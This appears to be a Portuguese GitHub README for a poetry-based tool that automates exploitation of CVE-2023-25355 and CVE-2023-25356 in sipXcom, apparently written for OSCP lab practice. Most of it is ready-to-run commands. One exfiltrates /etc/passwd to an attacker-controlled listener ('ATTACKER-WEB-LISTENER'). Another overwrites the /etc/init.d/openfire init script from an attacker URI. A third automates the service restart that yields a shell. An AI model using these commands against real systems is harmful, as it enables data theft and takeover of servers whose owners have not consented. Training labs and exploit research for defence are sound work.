glefait/cve-2023-25355-25356CVE-2023-25355 e CVE-2023-25356 com recarga automática de serviço
O exploit foi encontrado por [email protected] e é apresentado em duas peças incríveis:
Um repositório para automatizar ainda mais esta vulnerabilidade foi publicado por Alex Linov:
O CVE-2023-25355 é um mecanismo de exfiltração onde arquivos no servidor sipXcom são enviados para um servidor web controlado pelo atacante.
O CVE-2023-25356 é uma extensão da primeira vulnerabilidade onde arquivos controlados pelo atacante podem ser escritos no sistema de arquivos do servidor sipXcom. Como o serviço sipXcom é capaz de sobrescrever sua própria configuração de inicialização, um shell pode ser obtido facilmente assim que o serviço for reiniciado.
O ponto interessante a notar aqui é que o usuário superadmin do sipXcom pode reiniciar este serviço. Portanto, o objetivo deste pacote é automatizar completamente a reinicialização deste serviço.
Para preparar o OSCP, existem laboratórios com máquinas para comprometer.
Em um laboratório específico, uma máquina sujeita a esta vulnerabilidade era/é bastante instável, o que significa que às vezes você tinha que iniciar e reverter o laboratório várias vezes. Isso é irritante. Uma vez automatizado, fica menos irritante.
Você precisa:
poetry install
Então você pode executar a ferramenta a partir do ambiente ativo, executá-la a partir do diretório ou de outro local com o nome do CVE:
# se o ambiente poetry estiver ativo (poetry shell)
cve_2023_25355 --help
# caso contrário, a partir do diretório atual
poetry run cve_2023_25355 --help
# caso contrário, a partir de outro diretório
poetry -C /shared/tools/CVE/CVE-2023-25355 run cve_2023_25355 --help
No exemplo a seguir, enviamos um payload para exfiltrar o arquivo /etc/passwd que será enviado para um listener http controlado.
cve_2023_25355 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--payload '--data-binary @/etc/passwd http://ATTACKER-WEB-LISTENER/some_path'
No exemplo a seguir, enviamos um payload para sobrescrever o /etc/init.d/openfire com o conteúdo da URI fornecida.
cve_2023_25356 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--sipxcom-init-file-source-uri 'http://ATTACKER-WEB-LISTENER/my-offensive-sipx-config'
Então, se soubermos a senha do superadmin, podemos reiniciar o serviço para recarregar a configuração e acionar qualquer gadget.
run sipxcom_service_restart \
--sipxcom-superuser-username superadmin \
--sipxcom-superuser-password superadmin_password \
--sipxcom-website https://1.2.3.4/
--debug-local-directory /tmp
./proxychains4 -f proxychains.conf cve_2023_25355 [...] --xmpp-server-address 172.1.2.3
Projeto: